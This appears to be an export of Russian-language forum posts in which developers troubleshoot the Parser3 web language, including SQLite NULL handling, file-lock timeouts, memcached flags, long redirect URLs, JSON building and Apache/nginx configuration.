[url=https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP]По коду ответа[/url] можно понять как был обработан запрос."
"83958","про httppost - понял, спасибо!\
\
[quote]http://www.parser.ru/docs/lang/curloptionsdesc.htm[/quote]\
у меня уже года три http://www.parser.ru/docs/lang/ не работает.\
ОЙ: не работало же! в коне декабря 16го не работало! :)\
пользовался 3_4_4.ru.chm от 21/06/2016 (локальная дата. вероятно тогда скачал). там сильно меньше написато. и указатель в ём не полный - короче одно расстройство :)\
\
[quote]Код ответа того сервера, которому вы отправили запрос.[/quote]\
\
где/как перехватить/увидеть?"
"83959","[quote]где/как перехватить/увидеть?[/quote]\
\
Поле status."
"83960","Есть мнение, запрет на доступ к служебным файлам лучше оформлять в виде 404, дабы не давать подсказок о существовании файлов.\
\
[code]location ~ \\.(p|dir|pag)$ {\
	return 404;\
}[/code]\
\
Жаль, что fastcgi_param толком не наследуются, да ещё ерунда со SCRIPT_NAME, можно было бы вынести установку большинства переменных окружения и include fastcgi_params на уровень server, а в location'ах делать только fastcgi_pass.\
\
В целом — работает, практически без плясок завелось.\
\
Правок /etc/init.d/fcgiwrap уже не требуется, кавычки убрали.\
libfcgi и spawn-fcgi устанавливаются сами при apt-get install fcgiwrap.\
\
Спасибо!\
\
А вдруг 3.5.0 действительно заработает как FastCGI."
"83961","В SQLite если ячейка в строковой колонке содержит NULL, то в вызов в драйвере CHECK(handlers.add_row_cell(sql_error, str, length)) попадает str=0, length=0. При вызове из класса table (и hash тоже) отрабатывает странно - даже если в других строках эта колонка не NULL, они игнорирутся и вся колонка становится пустой. Где бы покопать для лечения?"
"83963","$sometable[^table::sql{ SELECT col1, col2 FROM sometable }]\
\
^sometable.menu{\
$sometable.col1 - $sometable.col2\
}[<BR>]\
\
col1 и col2 типа TEXT. Так вот, если хоть одна ячейка col1 или col2 содержит NULL, то содержимое остальных ячеек тоже выводится пустым.\
Я, конечно, ещё раз проверю код драйвера (на правах автора), но, на первый взгляд, драйвер получает от sqlite3.so верные данные (т.е. где NULL там NULL, где текст там текст)."
"83964","Вообще ожидал скорее что-то типа такого:\
\
[code]\
^connect[$SQL.connect-string]{\
\
  ^void:sql{drop table test}\
\
  ^void:sql{create table test(\
    col1 text,\
    col2 text,\
    col3 text)\
  }\
\
  ^void:sql{delete from test}\
  ^void:sql{insert into test (col1,col2,col3) values ('1',null,'3'),(null,'2','3'),('1','2',null)}\
  $t[^table::sql{select * from test}]\
\
  ^t.menu{\
    '$t.col1' '$t.col2' '$t.col3'\
  }\
}\
[/code]\
\
В результате у меня получается так:\
    '1' '' '3'\
    '' '' '3'\
    '1' '' ''\
\
То есть для первого ряда все вообще правильно (поэтому сразу даже не увидел проблемы), а вот во втором и третьем\
пропало по колонке. Thx, посмотрю."
"83966","Собственно вот когда появился баг:\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/sqlite/parser3sqlite.C?r1=1.8&r2=1.9\
\
\"\
- transcode optiomization (no transcode calls for numbers and nulls anylonger)\
- little refactoring\
\"\
\
Миша сделал оптимизацию, чтобы не вызывать sqlite3_column_type(SQL, i) для каждой строки, но в итоге если в первой строке где-то был null, то и в остальных строках в этой колонке будет null. \
\
Исправить можно по-разному, посмотрю. Если sqlite3_column_type \"легкий\", то наверное правильнее просто выкинуть эту оптимизацию."
"83967","[quote]Если sqlite3_column_type \"легкий\", то наверное правильнее просто выкинуть эту оптимизацию.[/quote]\
\
Легкий, так что можно считать что выкинул ну и пару мелочей заодно поправил."
"83968","Спасибо за наводку! Как-то я совсем расслабился и не разглядел этот кусок кода.\
Впрочем,\
sqlite3_column_type не содержит в себе сложного кода и обращений к файлу,\
sqlite запросто может менять тип ячейки от строки к строке, так что идея оптимизации изначально несколько не верна.\
Предлагаю откатить."
"83974","Есть два хеша, до пяти уровней вложенности.\
\
При вычитании хешей одного из другого, проверяется только первый уровень.\
\
если различия в хешах происходят на более глубоких уровнях, это не проверяется.\
\
Как сравнить хеши на всех уровнях вложенности?\
\
Посоветуйте что нить"
"83976","В рамках работы с параллельно идущими процессами необходимо обеспечить последовательный доступ к ресурсу.\
Несколько процессов хотят загрузить с сервера один и тот же документ, должен победить первый, загрузить и положить в кэш, откуда его смогут взять другие желающие.\
\
Процесс загрузки блокируется с помощью file:lock, но он ограничен 9,5 секундами ожидания.\
Если на загрузку уходит больше времени — таймаут хотя бы в 10 секунд — то ожидающие процессы будут отваливаться с ошибкой «shared lock failed: Resource temporarily unavailable».\
Ошибку, конечно, можно ловить и делать новые попытки, но это меняет порядок ожидающих процессов, что может быть нежелательно.\
\
Хотелось бы иметь возможность управления таймаутом ожидания получения доступа к файлу.\
\
Можно увеличить количество попыток получения доступа при компиляции.\
А можно ли заменить file:lock на свою конструкцию вида:\
[code]@lock[lockfile;code;limit][locals]\
$tries(0)\
$limit(^limit.int(100))\
$tmp[]\
\
$result[]\
\
^while($tries < $limit){\
	^if(!-f $lockfile){\
		^tmp.save[$lockfile]\
\
		^try{\
			$result[$code]\
		}{}{\
			^file:delete[$lockfile]\
			^break[]\
		}\
	}{\
		^tries.inc[]\
		^sleep(0.5)\
	}\
}[/code]\
?\
Насколько понимаю из беглого изучения flock, он ничего сверхъестественного не делает.\
\
Хотя, атомарными операции\
[code]^if(!-f $lockfile){\
	^tmp.save[$lockfile][/code]\
считать нельзя.\
\
Другой процесс может произвести проверку до создания файла, тоже создать файл и не быть заблокированным."
"83977","Ситуация, которую вы описали - типичная архитектура подсистем и под-сервисов, которые, при разной скорости обслуживания обработки - разруливаются через сервис очередей (MOM - Message-Oriented Middleware), из известных это RabbitMQ или проч.\
\
В любом случае в этом паттерне, уже многое сложилось, и некий стандарт (AMQP (Advanced Message Queuing Protocol) и некий протокол. И типовые ситуации.\
\
Даже наколенная архитектура подсказывает, что держать 10 сек и более (полчаса, час?) процесс, который обслуживает клиентский HTTP-запрос - как-то неправильно (ну только если это не бесконечный push/чат). \
\
Что мешает процессу не делать прямой запрос туда, где у вас \"долго и занято\".\
А положить в промежуточную базу-очередь. И тут же в течение 2-3 сек попытаться забрать из этой очереди ответ. \
\
Если ответа нет, значит в ~2-3 сек завершить процесс с HTTP-ответом, где сказано, что \"Обработка потребует времени\". Можно помариновать юзера на этой же странице - дав ему какой-нить js-прогресс-бар, а можно даже отпустить походить по сайту/сервису, сказав, что как только данные будут готовы (мы вам нотификацию в шапку пришлём или даже средиректим) - тут уйма вариантов.\
\
\
Можно играть или созданными для этого инструментами, или своими, но смысла натягивать \"сову на глобус\" через flock, когда есть mysql(memory-table)/memcached - не вижу."
"83978","[quote]Ситуация, которую вы описали - типичная архитектура подсистем и под-сервисов, которые, при разной скорости обслуживания обработки - разруливаются через сервис очередей (MOM - Message-Oriented Middleware), из известных это RabbitMQ или проч.[/quote]\
\
Это и есть работа с очередью.\
Только задачи уже выбраны из очереди и воркеры хотят загрузить внешний документ.\
\
Можно сначала загружать документ и затем запускать процессы его обработки, но для этого требуется более сложный и анализ задач и формирование отдельной очереди загрузок.\
\
А можно сделать проще — воркеры ничего не знают друг о друге и каждый загружает документ сам (формально, загружает первый, остальные берут из кэша), но при попытке загрузки ресурса проверяют не заблокирован ли процесс и, при необходимости, ждут своей очереди.\
Если же по документам они не пересекаются, то работают параллельно, не мешая друг другу.\
\
Это часть краулера, собирающего документы.\
\
[quote]Даже наколенная архитектура подсказывает, что держать 10 сек и более (полчаса, час?) процесс, который обслуживает клиентский HTTP-запрос - как-то неправильно (ну только если это не бесконечный push/чат).[/quote]\
\
Это не клиентский запрос.\
Это фоновая очередь, задачи которой исполняют демоны.\
\
Если удалённый сервер не отвечает минуту, и настройки позволяют ждать — нужно ждать.\
Документ требуется либо загрузить, либо получить ошибку и запротоколировать её.\
\
И при этом не положить сервер десятком одновременных запросов.\
\
[quote]Что мешает процессу не делать прямой запрос туда, где у вас \"долго и занято\".\
А положить в промежуточную базу-очередь. И тут же в течение 2-3 сек попытаться забрать из этой очереди ответ.[/quote]\
\
Процесс понятия не имеет долго там или быстро.\
Отчасти, это он и выясняет.\
\
[quote]Можно играть или созданными для этого инструментами, или своими, но смысла натягивать \"сову на глобус\" через flock, когда есть mysql(memory-table)/memcached - не вижу.[/quote]\
\
MySQL не умеет блокировать несуществующие в таблице записи и для подобной задачи непригоден.\
А там где умеет обкладывает всё такой развесистой порослью неявных блокировок, что зачастую проще всё сделать руками.\
\
Memcached вполне подходит как инструмент для очереди или блокировок, но в обсуждаемом случае кроме скорости не имеет никаких преимуществ над file:lock.\
А наблюдать за работой через файлы и отлаживать гораздо проще."
"83979","[quote]Это не клиентский запрос.\
Это фоновая очередь, задачи которой исполняют демоны\
[/quote]\
\
Ну вот тем более, для сервисных процессов Парсер тоже не целевой инструмент. Рано или поздно вляпаешься во что-то. Я так однажды уже вляпался, когда внезапно в узком месте понадобилась бинарная замена данных в файле.\
\
[quote]MySQL не умеет блокировать несуществующие в таблице записи и для подобной задачи непригоден.[/quote]\
\
Имелось ввиду, что логику очереди/блокировки можно построить синтетически, создав свою таблицу со своими правилами.\
\
[quote]Memcached вполне подходит как инструмент для очереди или блокировок, но в обсуждаемом случае кроме скорости не имеет никаких преимуществ над file:lock.[/quote]\
\
Как минимум, в отличие file:lock - оно работает сейчас и с Парсером. И скорость таки имеет значение (хотя операции с файлами на SSD/tmp-диске, это еще вопрос, да).\
\
[quote]А наблюдать за работой через файлы и отлаживать гораздо проще.[/quote]\
\
Ну... тут чисто в целях отладки можно параллельно куда-то писать, где удобно смотреть глазами."
"83980","[quote]> MySQL не умеет блокировать несуществующие в таблице записи и для подобной задачи непригоден.\
\
Имелось ввиду, что логику очереди/блокировки можно построить синтетически, создав свою таблицу со своими правилами.[/quote]\
\
Для очереди — да, но с массой подводных камней.\
Для блокировок несуществующих ресурсов — нет.\
\
[quote]> Memcached вполне подходит как инструмент для очереди или блокировок, но в обсуждаемом случае кроме скорости не имеет никаких преимуществ над file:lock.\
\
Как минимум, в отличие file:lock - оно работает сейчас и с Парсером. И скорость таки имеет значение (хотя операции с файлами на SSD/tmp-диске, это еще вопрос, да).[/quote]\
\
Работа с файлами ещё проще и уже работает.\
Вопрос лишь в корректности логики блокировок.\
\
А Memecached — отдельный инструмент, который нужно поднимать, под который нужно выделять память, который усложняет и без того непростую систему.\
Конкретно для кэша с блокировкой, считаю, лишним."
"83981","В форуме залогинен, в онлайн документации ни комментариев, ни поля для их добавления нет."
"83982","[quote]А Memecached — отдельный инструмент, который нужно поднимать, под который нужно выделять память, который усложняет и без того непростую систему.[/quote]\
\
Соглашусь, если частная ситуация не нарисовывает перспектив усложнения. Тогда нет ничего более постоянного, чем временное. Словами highload-конф \"крестьянский метод\" :D"
"83983","[quote]Соглашусь, если частная ситуация не нарисовывает перспектив усложнения. Тогда нет ничего более постоянного, чем временное. Словами highload-конф \"крестьянский метод\"[/quote]\
\
При чём тут временное и крестьянское.\
\
Речь о логике блокировки.\
Если она корректна для файлов, то будет работать на любых key-value-хранилищах.\
\
Для моей задачи не нужно обслуживать тысячи таких блокировок в секунду.\
Достаточно десятка и то в пике.\
\
Поднимать ради этого отдельный инструмент, нет никакого смысла."
"83984","[quote]При чём тут временное и крестьянское.[/quote]\
Последний коммент был под пропущенным тегом юмор/сарказм.\
\
Напротив, я кинул камень в огород риторики некоторых вендорных хайлоад-евангелистов, у которых цель (-продать- зачёркнуто), найти у вас первичные признаки масштабирования.  \
\
Декларируя, что всё, что не разворчаивает вам инфраструктуру для \"управления галактикой\", называется \"временный костыль\" и \"крестьянский метод\"(sic)."
"83985","Ну по сути нет проблем заменить PA_LOCK_ATTEMPTS 20 чем-то настраиваемым в $LIMITS.\
Например $.max_file_lock_wait(тут наверное удобнее не число указывать, а задавать время в секундах). Сейчас 20 попыток через 0.5 секунды дают 9.5 секунд ожидания. И возможно есть другие предложения по названию?"
"83986","Задача:\
Хочу вызывать метод объекта (динамического класса)\
не будучи уверенным, что такой метод в данный момент у класса (реализован/подгружен),\
т.е без проверки всякими reflection'ами снаружи.\
\
Чтобы в случае обращения к не сущ.методу, класс сам мог перехватить этот момент внутри себя и выдать результат такого поведения.\
\
Т.е. как GET_DEFAULT, но не про поля, а про методы\
\
Т.е. не хочется делать вызов через какой-то \"универсальный метод\"\
с параметром - имя метода (т.к. читабельность нулевая будет), \
и уж тем более process доставать:\
\
[code]\
 $obj[^MyClass::create[]]\
\
 ^obj.getA[param]            ^rem{# извне хочется так  }\
 ^obj._method[getA;param]    ^rem{# а не вот так }\
\
[/code]\
\
Чувствую, что как будто, где-то можно выехать, но не помню как.\
Или нельзя..."
"83987","Обновлялся apache, забыли включить модуль в конфигурацию."
"83988","[code]@main[]\
\
$o[^O::create[]]\
^o.try_it[arg]\
\
@CLASS\
O\
\
@create[]\
$check[check]\
\
@GET_DEFAULT[]\
$result[$method]\
\
@method[suffix]\
Hello $check $suffix\
[/code]\
\
Результатом будет \"Hello check arg\""
"83989","[quote]Например $.max_file_lock_wait(тут наверное удобнее не число указывать, а задавать время в секундах).[/quote]\
\
Было бы удобно.\
\
[quote]И возможно есть другие предложения по названию?[/quote]\
\
Он же и на ожидание доступа к хешфайлу будет влиять, наверное, лучше a-la: lock_wait_timeout."
"83990","...иной раз уже ожидаешь этого, с оглядкой на junction, но без уверенности, т.к.\
глядя в доку - видишь только \"Обращение к несуществующим полям\", а потому пробовать без вопроса не стал даже.\
\
Надо в комменты к документации добавить - это важный момент."
"83991","[quote]Числовое значение объекта класса date равно числу суток с EPOCH (01.01.1970 00:00:00, UTC) до даты, заданной в объекте. [/quote]\
\
Диапазон дат с тех пор расширен, было бы логично, чтобы было так:\
\
[code]$dt[^date::create[0000-00-00 00:00:00]]\
^if($dt){true}{false} \
--> [b]false[/b]\
^eval($dt)\
--> [b]0[/b]\
[/code]\
\
\
Еще не очень очевидно почему сейчас так:\
[code]$dt[^date::create[1970-01-01 00:00:00]]\
^eval($dt)\
--> [b]-0.125[/b]\
$dt[^date::create[1970-01-01 [b]03[/b]:00:00]]\
^eval($dt)\
--> [b]0[/b]\
[/code]\
\
Полагаю что дело в часовом поясе, но мне кажется это поведение некорректным, возможно я не прав?\
\
P.S. Поскольку у date есть значение в числовом контексте, нельзя ли добавить метод приведения к числу, возвращающий это значение, ^dt.double[] чтобы не использовать ^eval()?"
"83992","[quote]Полагаю что дело в часовом поясе, но мне кажется это поведение некорректным, возможно я не прав?[/quote]\
\
Конечно, дело в часовом поясе — он не указан, а значит при создании будет взят часовой пояс сервера.\
\
[code]$dt[^date::create(0)]\
^dt.iso-string[]<br/>\
\
$dt[^date::create[^dt.iso-string[]]]\
^eval($dt)[/code]\
\
[code]1970-01-01T03:00:00+03:00\
0[/code]"
"83993","> Диапазон дат с тех пор расширен, было бы логично, чтобы было так: \
\
Очевидно это бы нарушило обратную совместимость.\
\
> но мне кажется это поведение некорректным, возможно я не прав?\
\
Что именно некорректно, там же написано UTC?\
\
$dt[^date::create[1970-01-01T00:00:00+00]] будет 0.\
\
> P.S. Поскольку у date есть значение в числовом контексте, нельзя ли добавить метод приведения к числу, возвращающий это значение, ^dt.double[] чтобы не использовать ^eval()?\
\
Вообще ^eval($dt) короче, чем ^dt.double[]. :) Ну и мне численное значение даты и требовалось только в выражениях..."
"83994","Если добавлять ключ через парсер, то чтение значения проходит нормально.\
Но значение ключа обновляет nodejs, а прочитать его парсер не может.\
При попытке считать значение пишет:\
\
unable to deserialize data id 0, size 2\
\
[code]\
$mcached[^memcached::open[\
	$.server[$connect_memcache_server]\
	$.binary-protocol(true)\
]]\
\
$mcached.users\
[/code]"
"83995","Если отключить двоичный протокол проблема остается?\
Какие данные лежат в ключе?\
Подключитесь к мемкешу телнетом и попробуйте получить ключ через протокол мемкеша. (https://blog.elijaa.org/2010/05/21/memcached-telnet-command-summary/)"
"83996","Двоичный протокол не влияет.\
В ключе находится строка из 2 символов \"{}\"\
\
Результат telnet на get users:\
\
VALUE users 0 2\
{}\
END"
"83998","Попробовал установить запись в телнет:\
\
[code]\
set test1 0 0 2\
{}\
STORED\
[/code]\
\
Парсер ответил темже:\
[code]\
$mcached.test1\
[/code]\
unable to deserialize data id 0, size 2"
"83999","Парсер сериализует строку с учетом \"раскраски\" строки, в самом простом случае там будет обычная строка и язык в flags (256+48=304 для чистой строки). Так что либо изучать src/types/pa_vmemcached.C, либо записать строку парсером, считать через JS и записать так же."
"84000","https://github.com/viatsko/parser3/blob/master/src/types/pa_vmemcached.C\
- тут, на 93-й строке видно, что если флаг ключа не входит в рамки \
\
[code]\
(data.flags>=SERIALIZED_STRING && data.flags<(SERIALIZED_STRING+256))\
[/code]\
\
то будет выброшено исключение с ошибкой. \
Но что особенного может быть со значением, когда флаг равен 0?\
\
Ведь этот флаг не является обязательным при установке ключа, и чтобы с таким ключом мог работать парсер - необходимо обязательно устанавливать его флаг в 304 или 48?"
"84001","Для последующих расширений - например когда будет добавлена сериализация (условно) таблиц, под них будет какое-то свое значение flag использоваться. В memcached же не только строки можно хранить и надо как-то различать типы данных."
"84002","Исключение подразумевает, что полученные данные не могут быть корректно обработаны.\
Но, ведь, значение memcache, всегда было и останется \"строкой\" (пусть и раскрашеной).\
\
Почему просто не вернуть строку?\
\
К примеру, по запросу /get/img/1.jpg заголовок сервера может содержать \"Сontent-type: text/html\", а тело сообщения все еще будет в виде набора символов. Это означает лишь то, что картинка есть, но сервер \"забыл\", что MIME для нее image/jpeg."
"84003","Чтобы потом (когда будет не только строка) не возникло обратной несовместимости.\
\
Было исключение -> стало работать = нет обратной несовместимости.\
Возвращалась строка -> стала возвращаться таблица = есть обратная несовместимость."
"84004","Есть же получение данных с авто-преобразованием к типу\
\
[code]\
^table::sql{$query}\
^int:sql{$query}\
^string:sql{$query}\
^image::load[$path]\
^file::load[text;$path]\
^file::sql{$query}\
[/code]\
\
но есть и получение бинарных данных\
\
[code]\
^file::load[binary;$path]\
[/code]\
\
В 99% известных мне случаев - в memcache хранят строки.\
Если вам известны другие случаи или тенденции в хранению там других типов данных - прошу поделится ссылками, будет интересно почитать.\
\
Для связки \"[b]parser - memcache/mysql - parser[/b]\" функции работают прекрасно.\
Даже для связки \"[b]parser - memcache/mysql - nodejs[/b]\" и \"[b]nodejs - mysql - parser[/b]\" функции также совместимы.\
\
Но когда говорить о связке \"[b]nodejs - memcache - parser[/b]\", то надо перестраивать приложение nodejs под parser.\
\
Если имеете ввиду только будущую совместимость хранения данных в связке \"[b]parser - memcache - parser[/b]\", типа \
\
[code]\
$memcached.[$key][^table::create{}] $tablevar[$memcached.[$key]]\
$memcached.[$key][string] $stringvar[$memcached.[$key]]\
$memcached.[$key][10] $intvar($memcached.[$key])\
$memcached.[$key][$.hash[value]] $hashvar[$memcached.[$key]]\
[/code]\
\
то для текущей совместимости в связке \"[b]nodejs/php/java - memcache - parser[/b]\",\
где парсер в роли ведомого приложения \
отображает статистику ведущего приложения на nodejs, \
не хватает метода, возвращающего просто строку \
без зависимостей от \"раскраски\"\
\
[code]\
$memcached.get[$key]\
[/code]\
\
Т.к. метод mget также зависим от нее"
"84005","[quote]Если вам известны другие случаи или тенденции в хранению там других типов данных - прошу поделится ссылками, будет интересно почитать.\
[/quote]\
\
Мы используем memcached еще в связке с Java, мне казалось в этом случае там всегда сериализованные объекты хранятся, первая же ссылка в Google говорит примерно о том же, да и сами мы храним там именно объекты, а не просто строки.\
\
http://www.javaworld.com/article/2078565/open-source-tools/open-source-tools-use-memcached-for-java-enterprise-performance-part-1-architecture-and-setup.html\
\
Туда:\
\
\"Memcached client will take that object, serialize it, and send a byte array to the Memcached server for storage.\"\
\
Обратно:\
\
\"The Memcached server will use the request to look up the object from the cache. Once it has the object, it will return the byte array back to the Memcached client. The Memcached client object will then take the byte array and deserialize it to create the object and return it to your application. \"\
\
[quote]Если имеете ввиду только будущую совместимость хранения данных в связке \"parser - memcache - parser\"[/quote]\
\
Да.\
\
[quote]для текущей совместимости в связке \"nodejs/php/java - memcache - parser\", где парсер в роли ведомого приложения отображает статистику ведущего приложения на nodejs, не хватает метода, возвращающего просто строку без зависимостей от \"раскраски\" [/quote]\
\
Если стоит задача сохранить данные для парсера, не вижу проблемы задать flags (если другие приложения его не используют). Но можно например сделать особым случаем flags=0 и воспринимать это как чистую строку (хотя наверное правильнее как неопределенно грязную).\
Идея добавлять отдельный метод мне не очень нравится."
"84006","Стоит задача: отобразить на парсере статистику, по данным работающего приложения на nodejs, который хранит данные в memcache.\
\
Для замены в приложении флага 0 на флаг 304 необходим перезапуск приложения - при этом все пользователи из него \"вылетят\" и все \"зависимости\" будут не завершены.\
\
Клиент memcache для Nodejs не имеет встроенного сериализатора, и не устанавливает флаг автоматически http://overclocked.com/mc/ \
\
Также, nodejs может отправить в memcache ограниченную строку типа buffer (набор байтов). \
\
Согласен, что новый метод будет лишним в данном случае.\
Хотя не помешал бы метод \"getallkeys\", для получения списка всех ключей на сервере.\
\
\"сделать особым случаем flags=0\" - такой случай и так существует, но вместо отдачи строки хотя бы \"в грязном виде\" парсер выдает ошибку.\
\
Считаю, что встроенное ограничение для обратной совместимости будет актуальным, только когда будет в парсере появится сериализатор."
"84008","Что касается парсера, подумалось что можно добавить в опции подключения $.string(N) чтобы при указании строки записывались и считывались с флагом N, без языков."
"84009","https://www.parser.ru/ - пока без редиректов, но в общем можно пользоваться."
"84011","Уже используется чтобы блокировать всё, до чего руки дотянутся!"
"84012","Блокировка, как понимаю, эксклюзивная.\
Значит процесс мог бы эксклюзивно читать и записывать в файл:\
\
[code]@main[]\
$path[/test.txt]\
\
^file:lock[$path]{\
	$f[^file::load[text;$path]]\
	$text[$f.text appendix]\
	^text.save[$path]\
}[/code]\
\
Вместо отдельного файла блокировки, который потом нужно удалять:\
[code]@main[]\
$path[/test.txt]\
\
^file:lock[${path}.lock]{\
	$f[^file::load[text;$path]]\
	$text[$f.text appendix]\
	^text.save[$path]\
}[/code]\
\
Сейчас попытка чтения заблокированного файла приводит к «shared lock failed: Permission denied»."
"84013","Для авторизации ESIA понадобилось перенаправлять пользователя на их страницу по URL, в котором передается еще и подпись с сертификатом... Длина примерно 10к (это их формат)\
\
При попытке $response:location[$url10k] происходит 500 ошибка \
\
[quote][Thu Feb 09 20:20:57.818585 2017] [cgi:error] [pid 3560:tid 1240] [client 10.2.1.120:59563] Premature end of script headers: parser3.exe[/quote]\
\
Apache 2.4, Parser 3.4.4\
\
Кто посоветует как с этим быть? И чье это ограничение, парсера или апача?\
\
Пока решили выдачей страницы посетителю с тэгом\
[code]<meta http-equiv=\"refresh\" content=\"0;url=$url10k\">[/code]"
"84014","[i][Thu Feb 09 20:58:16 2017] [error] [client 127.0.0.1] malformed header from script. Bad header=a: parser3.cgi[/i]\
\
Apache/2.2.15, экспериментальный предел длины любого заголовка — 8182 символа."
"84015","Не исключено, что опция поможет и для заголовка ответа."
"84017","К сожалению не помогло, видимо неизлечимо"
"84018","Манипулировать такими URL и на уровне браузера может не получиться.\
Даже несколько странно, что location.reload работает без проблем (под всеми ли браузерами?).\
\
Там действительно должен получаться такой гигантский URL, ошибки нет?\
Вроде, разработчик системы авторизации не последний, а использует запредельные приёмы, которые широко могут не работать."
"84019","Приветствую! Подскажите, как правильно получить JSON следующего вида:\
[code]{\
	Command: \"TestCmd\",\
	UseDev: false,\
	Strings: [\
		{\
			OutStr: {\
				Text: \"Custom 1\",\
				Field: 6\
			}\
		},\
		{\
			OutStr: {\
				Text: \"Custom 2\",\
				Field: 3\
			}\
		}\
	]\
}[/code]?\
\
Я создаю хэш, со всеми нужными полями, и дальше через ^json:string привожу его в нужный вид, но не понимаю, как правильно оформить секцию Strings. Если я указываю данные в ней в виде таблицы, например\
[code]\
$str[^table::create{Text Field\
Custom1 6\
Custom2 3}]\
[/code]\
и при создании хэша делаю\
[code]\
$.Strings[$str]\
[/code]\
то получаю JSON такого вида\
[code]{\
	Command: \"TestCmd\",\
	UseDev: false,\
	Strings: [\
		{\
			{\
				Text: \"Custom 1\",\
				Field: 6\
			}\
		},\
		{\
			{\
				Text: \"Custom 2\",\
				Field: 3\
			}\
		}\
	]\
}[/code]\
Как перед выводом каждого объекта в Strings добавить его имя \"OutStr\"? Мануалы не помогли:("
"84020","[code]@main[]\
\
$source[\
    $.Command[TestCmd]\
    $.UseDev(false)\
    $.Strings[^Array::create[\
        $.1[\
            $.OutStr[\
                $.Text[Custom 1]\
                $.Field(6)\
            ]\
        ]\
        $.2[\
            $.OutStr[\
                $.Text[Custom 2]\
                $.Field(3)\
            ]\
        ]\
    ]]\
]\
\
^json:string[$source; $.Array[$Array:json] ]\
\
@CLASS\
Array\
\
@create[hash]\
^if($hash is hash){\
        ^reflection:copy[$hash;$self]\
}\
\
@json[key;value;options][h]\
$h[^hash::create[$value]]\
[^h.foreach[;v]{^json:string[$v;$options]}[,^#0A]]\
[/code]"
"84021","Вот спасибо, до такого костыля я бы не додумался:) Работает отлично, да!"
"84022","Коллеги!\
Кто возьмется исправить проблемы на сайте pomorcpp.org?"
"84023","Коллеги!\
Кто возьмется исправить проблемы на сайте pomorcpp.org?"
"84024","Товарищи,извиняюсь за наивность и простоту задачи.Осваиваю parser -отличный продукт.Возникла проблема вложенности урла - не подскажите как осуществить  написание урла, типа\
site.ru/parent/child, где parent и child -статические страницы из БД с соответственными урлами parent и child.\
Спасибо за внимание."
"84026","Не вникая в суть, но:\
\
Пихать в URL 10Kb, как-то не очень задорно, учитывая что\
IE 8 поддерживает 2083 символа в URL, и IE 9 кажется - тоже.\
\
в js-окружении дела вроде получше, document.location должен быть не менее ~64K,\
т.к. есть тип url:data, содержащий контент.\
однако, мы всё равно упираемся в промежутке, в обработчик Apache (8K)\
\
Неужели формат настолько извращенный и не умеет POST?\
Просто, если это все-же get/post-переменные, то лучше искать выход через POST.\
\
Тут я вижу 2 варианта: \
1) Не знаю актуальность поддержки на текущий момент, но поддержка сохранения метода (POST/GET...) при редиректе уже давно обсуждалась, и даже введены 303,307 редиректы, для отстраивания от legacy-поведения. Не знаю, только, сохраняет ли это payload-тело post-запроса.\
\
2) Фронтендный редирект через js:\
Отдаете промежуточную легковесную страницу, которая строит форму и инициирует сабмит, что-то вроде: document.getElementById(\"myForm\").submit();\
\
Это способ впрочем \"тяжелее\" и примерно то же самое, что и вы пока сделали в meta-теге, но он безопаснее с точки зрения длины URL, а вдруг он завтра еще увеличится.\
\
Опять же, это всё в случае работы с POST."
"84027","Выпущен релиз кандидат версии 3.4.5.\
Скачать можно здесь: http://www.parser.ru/download/beta/.\
Приветствуются багрепорты и активное тестирование.\
\
Перечень изменений в [url=\"http://www.parser.ru/news/\"]новостях[/url]."
"84033","Здравствуйте, сегодня сайту LifeSky.ru купил сертификат SSL успешно установил, но вот появился один косяк. :) \
Если ввести адрес сайта, и по нему лазить, то все работает норм, а вот если переходить с Яндекса по запросу то выдает ошибку:\
\
[code]CGI: illegal call (1)[/code]\
\
К примеру, запрос: Аэросъемка в Тихорецк (или любой большой город краснодарского края)- при переходе с поисковиков бац - CGI: illegal call (1).\
\
Подскажите пожалуйста, чем связана эта ошибка? Как ее устранить?"
"84034","Вот ввел запрос - аэросъемка новороссийска\
\
сайт в первой пятерки - кликаю перехожу на страницу https://lifesky.ru/cgi-bin/lifesky_parser3.cgi/aero/novorossiisk/index.html а должен был перейти https://lifesky.ru/aero/novorossiisk/"
"84035","[code]Options All -Indexes -Includes +FollowSymLinks\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/lifesky_parser3.cgi\
\
RewriteEngine On\
RewriteCond %{SERVER_PORT} !^443$\
RewriteRule ^(.*)$ https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]\
\
Options +FollowSymLinks\
RewriteEngine On\
RewriteCond %{HTTP_HOST} ^www.lifesky\\.ru$ [NC]\
RewriteRule ^(.*)$ https://lifesky.ru/$1 [R=301,L]\
\
\
RedirectMatch 301 ^/p/(.*) /portfolio/$1\
RedirectMatch 301 ^/b/(.*) /best/$1\
ErrorDocument 403 http://lifesky.ru/\
ErrorDocument 404 /index.html\
\
AddType video/ogg .ogv\
AddType video/mp4 .mp4\
AddType video/webm .webm\
\
Redirect 301 /about/faq/ /faq/index.html\
Redirect 301 /aero/city/ /aero/index.html\
\
<Files ~ \"\\.(p|cfg|htaccess)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
\
<ifModule mod_headers.c>\
    <FilesMatch \"\\.(html|p)$\">\
        Header set Cache-Control \"max-age=43200\"\
    </FilesMatch>\
    <FilesMatch \"\\.(js|css|txt)$\">\
        Header set Cache-Control \"max-age=604800\"\
    </FilesMatch>\
    <FilesMatch \"\\.(flv|swf|ico|gif|jpg|jpeg|png)$\">\
        Header set Cache-Control \"max-age=2592000\"\
    </FilesMatch>\
    <FilesMatch \"\\.(pl|php|cgi|spl|scgi|fcgi)$\">\
        Header unset Cache-Control\
    </FilesMatch>\
</IfModule>\
\
<ifModule mod_expires.c>\
    ExpiresActive On\
    ExpiresDefault \"access plus 5 seconds\"\
    ExpiresByType image/x-icon \"access plus 2592000 seconds\"\
    ExpiresByType image/jpeg \"access plus 2592000 seconds\"\
    ExpiresByType image/png \"access plus 2592000 seconds\"\
    ExpiresByType image/gif \"access plus 2592000 seconds\"\
    ExpiresByType application/x-shockwave-flash \"access plus 2592000 seconds\"\
    ExpiresByType text/css \"access plus 604800 seconds\"\
    ExpiresByType text/javascript \"access plus 604800 seconds\"\
    ExpiresByType application/javascript \"access plus 604800 seconds\"\
    ExpiresByType application/x-javascript \"access plus 604800 seconds\"\
    ExpiresByType text/html \"access plus 43200 seconds\"\
